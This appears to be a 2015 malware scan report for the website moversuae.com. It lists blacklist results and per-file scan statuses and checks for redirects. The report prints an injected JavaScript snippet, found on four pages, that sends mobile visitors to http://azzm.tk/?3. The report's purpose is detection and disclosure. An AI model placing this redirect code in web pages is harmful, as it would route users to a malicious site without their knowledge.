Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=moversuae.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://moversuae.com/
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
| Request | Server response | Status |
http://moversuae.com/ | 200 OK Content-Length: 32561 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|iphone|ipad)/i)!==null){ window.location = "http://azzm.tk/?3"; } Antivirus reports:
| ||
http://code.jquery.com/jquery-1.10.2.min.js | 200 OK Content-Length: 93107 Content-Type: application/x-javascript | clean |
http://moversuae.com/wp-content/themes/shippingandmovers/js/jquery.easing.1.3.js | 200 OK Content-Length: 8097 Content-Type: application/javascript | clean |
http://moversuae.com/wp-content/themes/shippingandmovers/js/jquery-1.9.1.min.js | 200 OK Content-Length: 92633 Content-Type: application/javascript | clean |
http://moversuae.com/wp-content/themes/shippingandmovers/js/all-in-one-min.js | 200 OK Content-Length: 120899 Content-Type: application/javascript | clean |
http://moversuae.com/wp-content/themes/shippingandmovers/js/main.js | 200 OK Content-Length: 1263 Content-Type: application/javascript | clean |
http://moversuae.com/wp-includes/js/jquery/jquery.js?ver=1.11.0 | 200 OK Content-Length: 96402 Content-Type: application/javascript | clean |
http://moversuae.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 200 OK Content-Length: 7200 Content-Type: application/javascript | clean |
http://moversuae.com/wp-content/themes/shippingandmovers/js/bootstrap-menu.js | 200 OK Content-Length: 55244 Content-Type: application/javascript | clean |
http://moversuae.com/wp-content/themes/shippingandmovers/js/jquery.flexisel.js | 200 OK Content-Length: 13472 Content-Type: application/javascript | clean |
http://moversuae.com/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.50.0-2014.02.05 | 200 OK Content-Length: 16305 Content-Type: application/javascript | clean |
http://moversuae.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.8.1 | 200 OK Content-Length: 9630 Content-Type: application/javascript | clean |
http://moversuae.com/?page_id=5 | 200 OK Content-Length: 28108 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|iphone|ipad)/i)!==null){ window.location = "http://azzm.tk/?3"; } Antivirus reports:
| ||
http://moversuae.com/?cat=1 | 200 OK Content-Length: 35438 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|iphone|ipad)/i)!==null){ window.location = "http://azzm.tk/?3"; } Antivirus reports:
| ||
http://moversuae.com/?page_id=2 | 200 OK Content-Length: 27478 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone|iphone|ipad)/i)!==null){ window.location = "http://azzm.tk/?3"; } Antivirus reports:
| ||
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: moversuae.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 24 Feb 2015 13:40:11 GMT
Server: Apache/2.4.12 (Unix) OpenSSL/1.0.1e-fips mod_bwlimited/1.4 mod_fcgid/2.3.10-dev
Content-Type: text/html; charset=UTF-8
X-Pingback: http://moversuae.com/xmlrpc.php
X-Powered-By: PHP/5.4.37
GET / HTTP/1.1
Host: moversuae.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 24 Feb 2015 13:40:11 GMT
Server: Apache/2.4.12 (Unix) OpenSSL/1.0.1e-fips mod_bwlimited/1.4 mod_fcgid/2.3.10-dev
Content-Type: text/html; charset=UTF-8
X-Pingback: http://moversuae.com/xmlrpc.php
X-Powered-By: PHP/5.4.37
Second query (visit from search engine):
GET / HTTP/1.1
Host: moversuae.com
Referer: http://www.google.com/search?q=moversuae.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: moversuae.com
Referer: http://www.google.com/search?q=moversuae.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
